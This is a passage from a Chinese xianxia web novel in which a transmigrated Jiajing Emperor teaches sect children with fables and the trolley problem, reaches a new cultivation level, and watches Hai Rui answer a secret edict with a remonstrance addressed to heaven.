没有徐时行和丰胜有特点,但一双单眼皮,却让她少了几分可爱,多了几分辨识度。 一天的时间,起初这些小家伙们对嘉靖还很害怕,毕竟那股与生俱来的威严,可不是先前,山寨里叔叔伯伯所能比的。 之后,嘉靖又拿出了千字文和一些四书五经中的简单道理,来给这些孩子启蒙。 带孩子?嘉靖不会,但好歹有后世二十多年,年轻人的人生阅历和一些知识,讲讲童话故事,说说富含哲理深意的故事还是可以的。 严肃之余,慢慢引导,不断通过‘自问自答’,‘你问我答’的方式,让他们明白一些道理,嗯,重点是后世思想上的启发。 比如农夫与蛇、狼来了等改编后的小故事,让小家伙们在感到乐趣之余,还有思考。 随着嘉靖的寓教于乐启蒙下,倒是让小家伙们对这个朱先生在敬畏之余少了几分害怕。 嘉靖并没有在教导这些小家伙的时候,厚此薄彼,而是一视同仁。 一缕残阳如血,晚霞照进传承阁内,落在嘉靖和围在他脚边的十二个小家伙身上。 “先生,先生,”独孤英堂妹的独女,李鱼举起小手,道:“如果大长老他们都看到了掌门的新衣,我们没有看到,应该说出来嘛?” 小家伙说的太快,有些口齿不清,不过语速却不慢。 “但是说出来,岂不是背叛掌门嘛?” “难道要说谎吗?”李鱼刚说完,二房的独孤冬立刻反驳,“我们应该坚持正义!” “我觉得应该说出来,”独孤傲,如他的名字一样傲气,虽然只有六岁,却表现的异常成熟,“如此虚荣的掌门,不好!” “不应该说出来,”五岁的独孤秋绷着小脸,“阿爹说,要荣辱与共!” “那就跟着说谎嘛?” “那,那就捂上双眼,当做不知道……” “不好,不好,应该阻止掌门的笨蛋行为,对吧,先生?” 看着面前这群小家伙因为一篇“掌门的新衣”而吵的不可开交,争的面红耳赤的样子,嘉靖顿觉有趣,只是眼底含笑不说话。 “咚、咚……”这时钟鸣声响起,小家伙们也都停了下来。 “好了,”嘉靖起身,摆了摆袖袍,道:“时间不早了,至于这个问题……” 随着嘉靖说话,小家伙们都停了下来。一个个坐的板正,绷着小脸,认真的听话。 “你们以后才能明白,但我希望你们永远记住,”说着,嘉靖微微一笑,道:“接下来还有一个问题,都且听好,明日回答。” 听到先生要布置“课后作业”了,小家伙们眼神中不由流露出期待之色。 先生跟大长老完全不一样。 大长老就会让他们抄书,背诵大明九奏乐章,要么就是让他们读书,写字,好枯燥。 不像朱先生,虽然很严肃,有时候一个眼神,就让他们心生害怕,但讲的故事好有趣。 最重要的是,这些小家伙对每个故事,都有自己的观点,都想通过争辩说服别人。 嗯,这种争辩,让他们觉得很有趣。 他们不知道的是,嘉靖就是想通过这些启蒙小故事,让他们在自己那幼小,纯白的世界里,自己给自己上色,明悟自己要做个什么人。 这些道理,会随着慢慢思考,之后随着不断见世面,从生活中明白道理。 一点点,润物细无声的影响着他们的处事原则。 “假如,没有修为的你,驾驶一辆失控后疾驰的马车,将驶入一条“丫”字形道路上,”嘉靖抬手,指向每一个小家伙,道: “这时,左边道路上有五个人被绑在路中间。注意这是一个考验,没有人能帮你!” “现在,你唯一能做的,就是拉动缰绳,让马车转向右边道路。但这会杀死那条道路上,被绑着的另外一个人。” “你们会选择杀掉一个人救五个人,还是救五个人杀掉一个人,为什么?” 此时,小家伙们的小脸顿时皱了起来。 “好了,都回去想想吧,每日修炼过后,酉时来传承阁,以后都是如此。” 说完,嘉靖抬手一挥,柔和的灵气席卷,将小家伙们送出了传承阁,同时关上了大门。 “……” 第七十一章 练气五层!海瑞:皇上的密旨?(求追读) 一连三日,刘权都没消息。 嗯,用他的话说,拜帖给过去了,但黄风谷没有回应,他只能干等着。 这让刘权很是不爽,对黄风谷又是一通牢骚。 这一日,传承阁,顶层。 “呼,”嘉靖缓缓呼出一口气后睁开双眼,“境界又有松动。” 对于嘉靖来说,他已经卡在练气四层许久了,至今为止,境界总共松了两次。 “在与黄风谷谈判之后,就可以着手闭关突破到练气五层了,”想着,嘉靖耳边突然听到远处传来一声长啸,是刘权,“先生!” “看来是成了,黄风谷答应见面了,”想着,嘉靖起身来到会客厅,“这次去四方城,倒是可以再买一些储物袋,用来装土……” 不错,上次玉熙宫后院培育灵田之后,嘉靖就决定了,多找一些灵土。 他一直都在通过本命,观察着灵田的发展状况,不出意外的话,灵田应该能成。 “先生,”脚步声响起,刘权冲上了六层,来到了会客厅,直接开口道:“昨日黄风谷来了信,我亲自去了一趟……” “黄峰老儿同意见面了。” “坐下说,”嘉靖神色坦然,将一杯倒好的灵茶推到刘权面前,“他肯定会同意的。” “咕嘟。”刘权喝了一口茶,也不见外,直接脱了鞋子,盘腿坐在了小桌对面,“之前我猜的果然没错,黄峰老儿就是要为难我们。” “对于开辟战争的恩怨,这老东西果然记着!”说着,刘权撇撇嘴,“若是早知道这老东西的儿女被书院和蜀山剑宗看中,我们自然会手下留情,做事更为稳妥一些。” “这老东西藏拙,害人不浅!” 骂着,骂着,见嘉靖始终面色平静,刘权笑了笑,然后收敛情绪,端正道: “时间定了,一个月后,白马楼。” “黄风谷出面的人是掌门黄峰和他的心腹耿火。我们这边则是先生和我,”说着,刘权语气微微一顿,又道:“左护法会在城外接应。” 虽然在儒家规则下,没人敢公然杀人,但这毕竟是修仙世界,有的是逃窜的散修,邪修。 这些人,就是典型的亡命之徒,杀人夺宝的事情可不会少干了。 只要做事干净利索一些,不被人发现,那在这个修仙世界,照样是清清白白人。 听到独孤雄会在城外接应,嘉靖自然明白其中意思,这是防着黄风谷下暗手。 独孤雄虽然修为不及独孤英这种金丹期大修士强,可也是筑基后期,在这一片算是强者了。 一旦发生冲突,或者是杀局,战斗动静定然能引起四方城内坐镇的书院修士注意。 大荒十二座城,几乎每一座都有元婴坐镇,同时还有连同书院的传送阵。 一旦出现有人敢挑衅儒家权威的人或者势力,分分钟会有顶尖强者来教做人。 “如此甚好。”听到时间定在一个月后,嘉靖倒是没有什么感触。 正好,在这一个月的时间里,他的修为倒是可以抽空突破到练气五层。 “啧,先生,你的那个问题,可把那些小家伙们给难住了,”喝了一口茶,刘权像是想到了什么,笑着看向嘉靖,道: “到底是杀一個,还是杀五个,嘿,这个结果在我看来,都没差。” “但那些小家伙各个心思单纯,都想着救人,又因为救了人会产生愧疚感而纠结。” “这个问题,可真够折磨人的。” 闻言,嘉靖微微一笑,开口道:“我想要告诉他们的,其实是如何取舍。” “达成目的的过程中,总会有不尽如人意,明白自己想要什么,才是最重要的。” “用这个故事来提问,看似是考验良心,”说着,嘉靖撇头看向刘权,道:“他们身处修仙世界,注定了要参与残酷的竞争。” “提前启蒙,去思考,对他们有好处。” “提前锻炼他们的心性和接受能力吗?”听到嘉靖这么说,刘权若有所思,而后点了点头,不再多言,这些孩子都是宗门的未来。 从小就有一个成熟的心智,学会思考,在修行之路上,也是大有裨益的。 他生来就是散修,没有师门,很多道理,都是在当散修时,一次次经历才明白的。 别看修仙之路,修的是境界,修为,但心境,同样极为重要。 一些大型宗门,时常会安排门下弟子,化作凡人,封禁修为,在红尘中历练心性。又或者是在专门的试炼秘境,或者是阵法中锻炼。 此外,修仙界那些洞天福地中,可有不少的秘境,或者前辈高人的传承。 这些前辈高人,总喜欢设下层层考验。 而且,随着修为的提升,听说到了金丹之后,元婴开始,要感悟法则之类的。 之后,天道更是会落下雷劫,一些雷劫更是有迷惑心智之类的,这就看出对心性的要求了。 大明是新兴的宗门,虽然有独孤英坐镇,属于是中型宗门,可底蕴太浅。 有时候跟那些传承了几百年的小宗门都没法比,对弟子的培养上,自然也不能完善。 若是有资源,各种秘境,法阵安排上,锻炼心性,根本不需要这么麻烦。 嘉靖能在这些小家伙小时候就注意到这方面,倒是弥补了一些空白,算是笨鸟先飞了。 之后,二人又聊了一些事情,嘉靖也向刘权请教了一些修行上的经验。 毕竟刘权如今是练气九层,即将突破筑基的修士,嘉靖自然不会放过这个机会。 做学问还讲究一个达者为师呢,更何况是修仙之路,嘉靖自然也能做到不耻下问。端着没用,只有实打实的利益到手,才是真实的。 接下来的一个月,嘉靖又开始闭关。 那些小家伙们,像是独孤东来,李鱼,天赋不错,竟然开始了引气入体,显然本命不一般。估计用不了多久,就会突破到练气一层。 一个月时间,匆匆而过。 传承阁顶层,嘉靖的内室中,已经启动了阵法和布下了层层禁制。 “呼呼呼。”内室之中,嘉靖盘腿而坐,周身衣袍被灵气吹的哗哗作响。 “哗!”终于,随着一阵剧烈的灵气波动激荡而起,内室中的桌椅被震动。 当灵气全部平息后,闭目修行的嘉靖轻轻吐出一口浊气,而后双眼缓缓睁开。 “练气五层!”一个月时间,消耗六十多两灵源后,嘉靖终于再次突破了。 此时他的修为,已经与三长老柳源持平。 感受着身体中比之前还要澎湃的灵力波动,几嘉靖嘴角露出一抹笑容。 世上,还有什么比修仙后,境界一次次突破,来的更为舒心呢? 平复了一番心绪之后,嘉靖抬眼看向窗外,只见此时天色渐暗,正是晚上。 “一个月了,不知道大明如何了……” 想到自己玉熙宫后院的灵田,还有之前让吕芳快马加鞭送到海瑞手上的“治安疏”,刚突破,闲来也无事,嘉靖心中一动进入了识海。 此时大明这边,正是大白天。 心念一动间,先来到玉熙宫外,吕芳盘腿而坐,周围空无一人。 嗯,毕竟他现在修仙了,自然不能被旁人知晓,再说玉熙宫有他一人守护就够了。 见吕芳没有祷告什么,想来大明一切都稳,再看吕芳,周身竟隐隐有气息鼓荡。 显然,这老家伙引气有了一些成效。 “不错,估计两三月内可以引气入体,”想着,嘉靖挥手,玉熙宫后院灵田放大。 依旧是那个鼓荡的水泡一样的灵田空间,灵气更为浓郁了一些,不断滋润着那一方灵土,原本稀稀疏疏的灵草,此时也密集了不少。 郁郁葱葱的,那株柳树苗也轻轻摇曳着,看样子活的很好,灵田培育成功! “不出所料,”微微点头,嘉靖心情越发不错了起来,修为突破练气五层,大明的灵田培育很成功,吕芳也即将引气入体。 一切都很顺利! “从京城到定海县,快马加鞭,一个月怎么也该到了,”嘉靖想到自己要给海瑞一些来自“天”的威严,心中一动,目光来到定海县。 一瞬间,锁定到定海县,县衙内。 “呵,倒是差点错过好戏了……”视线来到县衙后方屋里,嘉靖轻笑一声,随后大手一挥,放大县衙后堂,他要亲自看看,海瑞的反应! 县衙后方,海瑞的书房里。 海瑞坐在桌后,看着手上被蜡密封的皇帝密旨,狐疑的看向一旁的王用汲。 “刚峰兄,既然是给你的,我就告退了。”王用汲虽然也好奇,但既然是密旨,他是不能看的,拱手一礼后,转身离开。 房门关上后,海瑞心中疑惑,皇帝会给他什么密旨,等心绪平复一会后,这才拆开了密旨。 “像是奏本?”看着封面空白的奏本,海瑞想着,翻开看了起来。 “来了!”看到这里,嘉靖嘴角微微勾起。 “……” 第七十二章 毛骨悚然,海瑞:圣人不死,大盗不止! “嘭!” 几乎是打开奏本,看到那上面第一句话的瞬间,海瑞整个人当场就‘腾’的站了起来。 手上的奏本也下意识的扔开。 海瑞那张黝黑忠正,就算是塌天大祸,他也不会有人任何色变般的脸,终于变了。 震惊、怀疑! 甚至还有几分毛骨悚然! 他看到了什么,奏本上竟然是他写给皇帝的奏疏,而且更不可思议的是一字不差! “这,这怎么可能呢!?”海瑞抖了抖嘴唇,不自禁的倒抽了一口凉气。 一双眸子瞪的老大,看着案桌上被他下意识的扔出去的无名奏本。 鬼神之力?!几乎是瞬间,他的脑海中,跟着下意识的就冒出了这么一个词来。 子不语,怪力乱神的道理,海瑞是明白的,子是不语,至于信不信,不知道。 但他可以肯定,自己是完全不信的,否则就不会在奏疏里,对皇帝玄修大加批判了。 若是这世间真的有仙神,这民间疾苦,祂们怎么会视而不见呢?若祂们选择视而不见,那存在与不存在,又有什么区别!? 华夏,不要无用之神! 突然,海瑞像是想到了什么,赶忙翻开衣襟,也顾不得其他,一把扯开贴身缝补处,抽出自己写好后就贴身藏着的奏疏。 这份奏疏,是他要亲自呈给皇帝的。 他的调令已经随着这份密旨一起下达,户部主事,而他的好友也跟他一起入户部。 海瑞打开自己写下的奏疏,又将皇帝送来的奏疏拿过来,上下比对着。 然后,海瑞沉默了。 除了笔迹不同,可以看出这是两个人所写外,其他的都一样。 “呼,”海瑞到底是海瑞,深吸口气将心中的纷乱思绪平复后,缓缓坐在了下来。 冷静下来后,海瑞的大脑开始高速运转了起来。 “皇上为什么会知道这份奏疏?还特意用密旨的方式,遣人送到我的手上?”海瑞看着那份奏疏,眸眼中有光泽浮动。 他必须要弄明白,到底是怎么回事。 至于其他的,比如皇帝突然给他奏疏的意图,眼下暂时对他来说,并不重要。 “从京城到定海县,快马加鞭,也要一个月时间才能抵达,而我这份奏疏,刚好是一个月出头几天前写好的,也就是说……” “这份奏疏,在我写好的同时间,就已经从京城发出,”海瑞的目光定格在奏疏开头那句,“定海县知县臣海瑞谨奏”上。 “就好像是有人在我当时写奏疏的时候,在照抄一样!”想及此处,海瑞又是感到一阵头皮发麻,下意识的撇头看向窗外。 如今,已经是五月上旬了,天气愈暖。 此时已经接近晌午,院中斑驳的树影,落在被暖阳照的发白的地上,映衬的院子极为安静,但此刻,海瑞却感到一股凉意笼罩。 不知道为什么,越是深想下去,他心头那股寒意就越盛,就好像周围始终有一道眸子注视着他的一举一动,而这道视线可能是皇帝。 可是,这怎么可能呢?! 眼下这本,跟他所写的内容,一模一样的奏疏,他又该怎么解释? 莫非是有人看到了他写的奏疏,然后当天写完,当天就被抄录好,飞速送去了京城?然后,皇帝看到以后,又抄了一份一模一样的? 呵!海瑞摇了摇头! 可笑,这根本不可能! 最快的方式就是飞鸽传书,若是如此,还真有可能,可这份奏疏如此之多,什么样的飞鸽能携带?就算是一些特殊训练的枭也不一定! 重要的是这本奏疏,他当日写好之后,就防着这种情况发生,写完就缝在了衣服里。 一直都是贴身收藏,睡觉时和衣而睡,洗澡时也是将外衣放在视线处绝不离开。 而且那些缝补处,他每日都会检查,根本没有半点被拆毁过的痕迹。 因此,根本不可能有人从他处,得到奏疏的内容,再送到皇帝手中。 “难不成,皇上他真的……” 海瑞凝视着面前的奏疏,心中猛的一個念头浮现,而后又被他迅速摁了下去。 这个念头不是别的,正是皇帝玄修有成。 然而皇上玄修有成这个念头,就像是一颗种子一样,他摁的越深,反弹就越大。 种子在他心底以肉眼可见的速度生根发芽,几个呼吸的功夫便再也挥之不去。 海瑞想要用别的证据,去解释这些,但貌似眼下只有皇上玄修有成,从而获得了某些不可思议,犹如仙神手段一般的能力这一个解释。 “啾啾啾。”窗外有飞鸟鸣叫。 海瑞抬头,后脑勺靠在椅子上,闭眼,平复着心中的所有思绪。忽的这时风起,窗外涌入一阵轻风,地上斑驳的树影晃动。 这时,海瑞睁开了双眼,重新坐好。 此时,他似乎已经彻底平复了脑海中,这一份奏疏带来的纷乱思绪。 “若是皇上他真的玄修成功,拥有了仙神一般的手段,”海瑞目光凝视前方,心中已悄然生出了一个决定,“那对这天下来说……” “就是祸非福了!” 没修成的时候天下已经是民不聊生,修成后岂不更是变本加厉?! 届时大明会被折腾成什么样子? 一个玄修有成,极度贪婪,极度自私的皇帝,然后获得了长生之法,那这天下……真正应了那句“圣人不死,大盗不止”了。 海瑞的心渐渐沉入了谷底之中。 也是在此刻,他心底诞生了一个决定。 海瑞心里清楚,皇上给他送来奏疏,说明他已经看过了,那么送奏疏的意思是什么? 在警告他,在告诉他玄修无错,而自己现在领略到的这一切,这就是结果!命人送来奏疏,这是属于他皇帝的威严和无声的蔑视! 但他非但没有降下惩罚,反而还送来了,他亲自下达的户部主事任命状! 夏虫不可语冰,蚍蜉望苍天不可轻言,让自己知进退,同时又赐下了他的恩赏!雷霆雨露皆君恩,这就是皇上真正的意思。 可是,我海瑞要的不是这些! 我海瑞想要说的,与你是否玄修成功,世间是否真有仙神存在,毫无干系! 只见海瑞默默收起两份奏疏,起身来到屋子中间,而后面朝京城的方向,凝视许久之后,他提起衣袍,直接跪了下去。 一直观察着海瑞一举一动的嘉靖,看到这一幕后,眸光轻轻一闪,看了过去。 “……” 第七十三章 谏苍天!九州万方,背他海瑞身上了?!把朕当孩子了吗? 海瑞虽然为人刚猛,但不是个蠢笨之人。 嘉靖知道,当密旨送到他手里的时候,海瑞心中会怎么想。 除了去往自己玄修有成这一个方向猜测外,绝无其他可能,能够解释他遇到这一切。 海瑞,注定是一个孤臣! 这一点,从前是,现在是,未来也是。 而从自己决定将他当做一把,独属于自己一个人的剑来用的时候,他的未来就注定了。 海瑞,会是悬在天下人脑袋上的一把利剑。 他可以下砍臣民,也可以上战内阁诸老,他会是自己大明仙朝一把代表绝对公正的剑。大明,乃至于大明仙朝,自他开始分左右。 一半是清流,一半是浑浊,这把剑被自己握在手里,才能更好的切割清与浊。 所以对海瑞,他不介意让他知道点东西。 这一点,从决定用这种方式,敲打海瑞的时候,就已经注定,海瑞会猜到一些可能。 这点,自己清楚,吕芳也明白。 现如今,自己的心腹有两个,一個是吕芳,一个是陆炳,这二人都知道自己得了仙缘。而海瑞这把独属于自己的剑,是第三个。 “这是有话要说吗……”嘉靖大手一挥,视线来到海瑞正对面,意识置身于房间内。 就这样,虽然海瑞看不到,但嘉靖就在他面前,居高临下,负手而立,与之隔空对视。 果然,不出所料,海瑞开口了。 此刻海瑞心中也有些不确定了,但心底那生根发芽般的想法,却由不得他不这么做。 若是皇上真的玄修有成,真的拥有了可以试听天下,数千里之外知晓一切的能力,那么自己今日所言,或许他也能知晓。 “天地有正气,杂然赋流形。下则为河岳,上则为日星!”海瑞深吸一口气后开口。 听到这话,嘉靖并未有什么表示。 这不过是海瑞起的一个话头而已,就像是有些人说话,总喜欢先感慨一句天气如何一样。 “陛下神游八极,炼丹九转,功告而成,诚可喜也!”海瑞也不玩虚的,上来直接就是明着开口恭喜了,恭喜皇帝玄修有成。 虽然这些都是他心头的猜测,但既然说了,那话他不妨说的慷慨一些,因为接下来他说话,可就不那么客气了。 恭贺?不,从未有这份真心! 听到这里,嘉靖的面容稍显缓和。 不过以他对海瑞的了解,这人可不会是个喜欢阿谀奉承的人。 就算他猜测自己玄修有成,估计也不会过度谄媚,甚至不会为自己高兴。 这些都只是他的前奏而已,指不定等会,就从他嘴里说出什么大逆不道之言了。 果然,跟着就听海瑞话锋急转。 “然,臣忧心如焚,非为陛下之仙途,实虑天下苍生之疾苦。” “呵!”听到这里,嘉靖哼笑一声,袖袍轻甩,背着手,侧身而立。 听到朕玄修有成,踏上仙途,竟然不为朕高兴?果然不愧是你海刚峰! 虽然知道海瑞就是这么个人,但舒心不舒心,又是另外一回事了。 人都喜欢过年话,嘉靖自然也一样。 此刻君臣二人虽未同处于一处空间,但却完成了一次空间层面的重叠。 海瑞跪在地上,满脸正气的说着,嘉靖则是侧身对着他,负二手立,抬头听着。 “昔者,陛下求道于世外,百姓困于苛政,民生凋敝,哀鸿遍野。今若得道,又当如何?百姓之苦是否更甚从前?” 海瑞这话,简直就是好不给面子了。 “哗!”嘉靖大袖一甩,豁然转身,肃容凝视着海瑞。 几个意思?这是在说朕,修仙前苛待百姓,修仙后,会变本加厉吗?把朕当什么了? “若陛下得道,臣愿陛下以仁心治国,勿使黎民再受其苦。”海瑞继续说着。 呵,朕的天下,你来操心?嘉靖有些失笑,“这个海刚峰,这是在教朕怎么治理天下?” “果然是把好剑,果然锋芒毕露!” “臣闻,圣人不死,大盗不止,是以君子慎终追远,不忘根本。陛下既已超凡入圣,当思百姓之福祉,慎独。” “海瑞,海刚峰,你自信了!”嘉靖知道,这是海瑞这把剑固有的锋芒,但听他说什么‘圣人不死,大盗不止’也有些不满了。 这是笃定了,朕会荼毒苍生?这是咒朕去死吗? 锋芒如此之甚,对可能已经玄修功成的朕,都毫无敬畏,无怪乎清流和严党都要折了他。 “这天下,独你一人是忠臣,良臣,贤臣?”嘉靖俯身凝视着面前跪在地上,但腰板挺得笔直的海瑞,满面肃容。 虽然海瑞没有明说,但他就是这么表现的! 海瑞自然不知道,在自己的跟前,嘉靖就这么用目光凝视着他,继续开口。 “故,臣斗胆,祈问苍天、君父: 陛下修成正果后,是否仍念及万民之疾苦?是否愿以大道治国,普渡众生?” “若陛下听臣之言,望能降旨明示;若陛下未闻,臣今日所言,便是向苍天表明心迹,臣愿以死谏,冀陛下之回心转意!” 说完,海瑞顿了顿,似乎是在等回应。 “哼!”见此,嘉靖轻哼一声,扯动袖袍,转过身去,“这海瑞,竟然想试探朕?” 很显然,海瑞心中虽然对自己玄修有成,有所猜测,但毕竟没有切实的证据。 这一系列的动作,看似是在劝谏,实则还存了几分试探的心思,想要自己的回应。 等了一会,没见有指示降下,海瑞便继续开口,道:“华夏,从未有无用之神明。” “往昔,日月颠倒,后羿射日,以拯万民于水火;天柱折断,女娲补天,以安苍生;洪水肆虐,大禹疏浚九州,保黎民之安;山峦险阻,愚公移山,以开后世之途……” “由此可见,无德之神,皆为百姓所弃,或遭销毁。陛下当以此为警醒!若得道,当以泽被苍生,光耀千古为己任。” “臣海瑞,虽微末之躯,愿效忠国家,不敢稍有懈怠。唯愿陛下体恤民情,勿使天下再陷水火之中。陛下英明,定能洞察臣心。愿陛下三思而后行,以天下苍生为念!” 说完,海瑞对着京城的方向,也就是嘉靖此刻的站位,开始叩首,脑袋砸的嘭嘭响。 嘉靖自然听得出,海瑞说是在问天、试探,实则是在给自己上谏。 嗯,这算什么?这个海瑞,在玩一种很新的东西,隔空谏言? 朕,自命为天,他便以言谏苍天? “在他心里,朕是否真的玄修有成,似乎从未重要过…”海瑞起身来到桌前开始挥毫,很快,雪白的纸上“谏苍天”三个大字浮现。 而后,海瑞又把自己刚才说的那些话,开始原原本本,一字不落的写了一遍。 意思太明显不过了,皇上你不是想告诉我,你玄修有成,你成仙了吗? 字里行间,都是苍天,君父对众生,臣民的雷霆雨露,你这招确实打了我一个措手不及。 但我海瑞并不在乎,我不在乎你是否修仙成功,成也好,败也好,与我无关,我在乎的是那苍生黎民,和大明天下的未来。 我担心的是你,没修成之前就已经让天下民不聊生,现在修成了,是否会变本加厉! “哼!”看到纸上那‘谏苍天’三个大字,嘉靖冷哼一声,不满的自语道: “这九州万方,背他身上了?” 此刻,嘉靖原本等着看海瑞知道自己玄修成功后,会有什么反应的那一丝恶趣味……终于是在这一刻,荡然无存了,全都是扫兴。 这番‘谏苍天’之言,说的自己就像是个不懂事的孩子一样?果真是无君无父的混账! “谁让朕看重的人,本性如此呢,若不是如此,他就不是海刚峰了!”想着,嘉靖又轻笑摇头,目光平静的看向刚直沉稳的海瑞。 “……” 第七十四章 为宗门计,就是为大明计! 视线从海瑞处离开后,嘉靖的目光又来到东南沿海和北边,倒是没有什么乱子。 东南地区胡宗宪身为浙直总督,又是严嵩一系的的实权派,由他开始全权负责军田的恢复,组织一部分军户重新开始种田。 虽然这次收缴了不少非法兼并的土地,但摊开到整个浙直地区,就有些不够看了。 这些徐阶家族被打掉的利益“结点”,都被胡宗宪有意的布置成了试点。 胡宗宪是严嵩手下最能干实事的人,他也清楚皇上这是要恢复卫所制。 因此,他并没有贸然的让前线的将士参与进来,而是将试点,尽量往里陆安排。 那些恢复种田的军户主要负责生产,以确保不会步子太大,从而导致东南动荡。 不仅如此,胡宗宪甚至还鼓励那些分到军田的军户带头参与到改稻为桑中来。 一时间,东南地区倒是热闹非凡,却也是井然有序的进行着,除了倭寇虎视眈眈,时常骚扰外,整个东南,相对来说倒是平稳不少。 “这个胡宗宪是个人才。”对胡宗宪的表现,嘉靖给予了肯定。 而后,目光来到边境。 严党和清流,最终还是将这次屯兵兴农的目标地点,定在了大同镇。而这也就意味着,清流和严党的战场也一同设在了这里。 “三代京华,明之重镇,九塞之冠……”嘉靖的视线投到这座古城之上,心中也不禁暗生感慨,“我大明朝两代天子的踏足之地!” “他们倒是会挑地方……”想着,嘉靖收回了目光,望着依旧是残破不堪,黑气飘荡的本命大明,微微摇头,退出了识海。 传承阁内。 睁开双眼,嘉靖撤去了周身的禁制和阵法,没等多久,就听刘权的声音在楼梯口响起。 “先生,您终于出关了!”脚步声响起,下巴留着修剪过稀疏胡渣的刘权走了上来。 看到嘉靖后,脸上有明显的欣喜与焦急之色。 “我们跟黄风谷约定的日子就在明日,”刘权说着,大步朝着起身的嘉靖走来,“您要是再不出关,我可能真不知道如何是好了。” “黄峰那老儿,笃定我大明仙宗要发展,就绕不开他的封锁,那叫一个得意……”忽的,刘权语气一顿,上下打量嘉靖一番后,不禁摇头,佩服道:“我就知道,果然突破了!” “柳老现在依旧是练气五层,不知道他若是知道了,届时会是個什么心情,嘿嘿……” “闭关前,我已提前定好了时辰,”嘉靖说着,拿出一张“计时符”,轻轻搓动,符箓化作漫天金色飞灰消失,道:“今夜子时,若是我还不能突破,它就会提醒我……” 计时符在修仙界,属于是廉价符。 一天十二个时辰,被细分到了刻,每隔一刻钟,内部阵法就会焚烧一部分。 当然,这需要修士提前将灵气注入阵法之中,只有如此才能让阵法进入焚烧倒计时。 当焚烧到某一刻的时候,符箓外置阵法就会爆发出一股能量,这股能量会进入修士脑海,直接告诉修士,现在是什么时辰。 当然,这种符箓,只对元婴期之下的修士有效,达到元婴后除非自愿开放心神,否则是作用不到这种级别的大修士身上的。 “先生竟然为了宗门利益放弃修炼,刘权敬佩!”见嘉靖竟然在闭关突破的时候,还使用“计时符”,刘权脸上满是敬重之色。 一个月的时间,以嘉靖的修炼速度,突破练气五层并不是问题这点,他是知道的。 可是他竟然可以为了宗门利益,做到闭关突破被打断的地步,这份果断和魄力,确实不是凡人(这里凡人指不是一般人)能拥有的。 刘权自问,若是自己,可能不会在突破境界的闭关中,设好计时符的。 境界的突破,炼气期说白了就是穴窍灵气存储,利用功法不断提升的过程。 这个过程,除了身体外,还有精、气、神三个方面的沟通和蜕变。 随着境界的提升,灵力会涉及到身体的方方面面,最终突破筑基,诞生神识。 一旦突破境界的途中被打断,那说不定就会在该境界层面上,所有穴窍灵气会被消散。之前的积累全消,需要重新修炼这一层引气入体。 这对精气神三者也是一种微创。 所以炼气期若是平常的修炼闭关,布下“计时符”倒是没什么,但若是明知道自己可能一个月内突破,一般人都不会这么做的。 然而嘉靖却好似根本不在乎一般。 这该是何等的胸襟魄力和自信,难怪自己能在朱先生身上,感受到依靠感。如此办事,行事如此魄力果断,很难不让人对其感到信服。 “事有轻重缓急,跟黄风谷的谈判成功,能打通四方城到其他两座城的商道航线,”嘉靖轻摆了摆衣袍,“有利于宗门发展。” “当宗门有了足够的资源,你我皆是受益者,眼前的微小境界,不过小利尔。” 一个月的时间内,突破练气五层,对嘉靖来说是既定的计划,但却不是必须完成的。 对嘉靖来说他追求的境界更远,练气五层对他来说,就算一个月突破不了,那下个月也能突破,并不是什么燃眉之急。 但与黄风谷的谈判,却事关利益! 帝王行事,皆为结果导向,结果最重要,过程中损失点并不是很重要的东西,都是计划的一环。 而且,看着眼前刘权眼神中愈发强烈的敬佩之色,嘉靖心底突然笑了。 帝王之道,御下人心,是最基本的! 从当初加入黑风寨的念头生出的一刻,他就已经决定要一步步的取得他们的信任,而后慢慢的将整个山寨,收为己用。 而这个过程中,人心的支持,是最重要的,他知道,这个过程会很漫长,但他不着急。 他会一点一点的将大明仙宗,变成大明仙朝在修仙世界的一部分。 为宗门计,就是为大明计! 只有大明仙宗更好,更壮大,他能从这里获得的好处就会越多,然后带回到他的大明,让大明,也跟着茁壮成长,蜕变为仙朝。 修仙是漫长的,不争朝夕,只看长短! 等到突破筑基,本命物绑定,本命、自己、本命物,三者循环反哺。 那时,嘉靖相信,自己的修炼速度会更快,如今的大明不过是残破不堪的凡人王朝,就能让他以五旬高龄一月突破练气。 满打满算,也就五个月,就突破到了练气五层,平均一个月一层。 等到大明作为本命物被绑定,反哺修复本命,本命再反哺自身之后,会多快? 再之后,大明发展成仙朝,那时自己的突破速度,修为境界,又会有多强! 光是想想,嘉靖就感到血液都在沸腾,跟这些相比,这点蝇头小利,算什么呢? 当皇帝的,最擅长的就是舍与得! “……” 第七十五章 修士也活一张脸,仇富的刘权,惊闻灵脉买卖! 翌日。 天刚蒙蒙亮,一艘重五十石,长十五丈,宽六丈的小型飞梭,冲出大明仙宗。 “嘿嘿,先生,咱这艘飞梭如何?”飞梭甲板前端部位,两道人影并肩而立。 一身干净黑袍,头发和胡须都精心修剪过的刘权,嘴里习惯性的叼着一根干草,对身旁身穿白色道袍的嘉靖,炫耀道。 “这是小型飞梭吗?”嘉靖抬头打量着眼前的飞梭。 这艘小型飞梭,自然不能跟之前见过的运输型‘朱雀丙火乙木梭’的体型相比。 相比于前者的臃肿笨拙,此梭整体外观看去,呈现出一种流畅而轻盈的线条,形似一片枫叶,既简约却又不失美感。 梭体外层似乎是特殊的灵木制材料,饰以金色的藤蔓图案,有种古朴温暖的感觉。 行驶途中,可以看到木制材料上,隐隐有道道金色的流光浮动。 梭体的前端,装有精致的不知名兽形雕刻,尾部则是一对轻盈的翅膀状装饰。 甲板上铺有柔软的草垫,周围围绕着一圈低矮的木栏杆,木栏杆上镶嵌有特殊的宝石。 这些宝石上散发出道道能量,将这个甲板裹住,形成一个能量护罩,阻挡罡风。 “此梭,名为‘地支·申酉戌飞梭-秋风轻舞’,大璇梭行几年前的产物了,”刘权双手搭在木栏杆上,大拇指摩擦着凸起的宝石,笑道:“地支系列里的便捷型飞梭。” “一艘大概就卖五万两灵源,不算贵也不算便宜,我现在怎么说也是宗门大长老,出门谈事,总不能坐飞毯吧?” 刘权说着,砸了咂嘴,不爽道:“尤其是跟黄风谷的黄峰老儿谈判,自然不能太寒酸。” “这款‘秋风轻舞’的梭体以‘落叶归根阵法’为依托,内置‘四时轮回法阵’,内部舱体算是一个房间,可容纳三四人,不显拥挤。” “全速状态下,一千二百里/时辰。” “小巧灵活,便于操控,适合三四人短途或中等距离的飞行,”说着,刘权咧嘴一笑,道:“先生,等这趟回来,你也认个主。” “这飞梭就放在宗门里,谁想用直接开走就是,等宗门手头宽裕了,跟掌门商量一下,给咱们这些高层,每人配一个。” “嗯,其实话说回来,倒是可以让柳老专门给咱们每人造一個飞梭。” 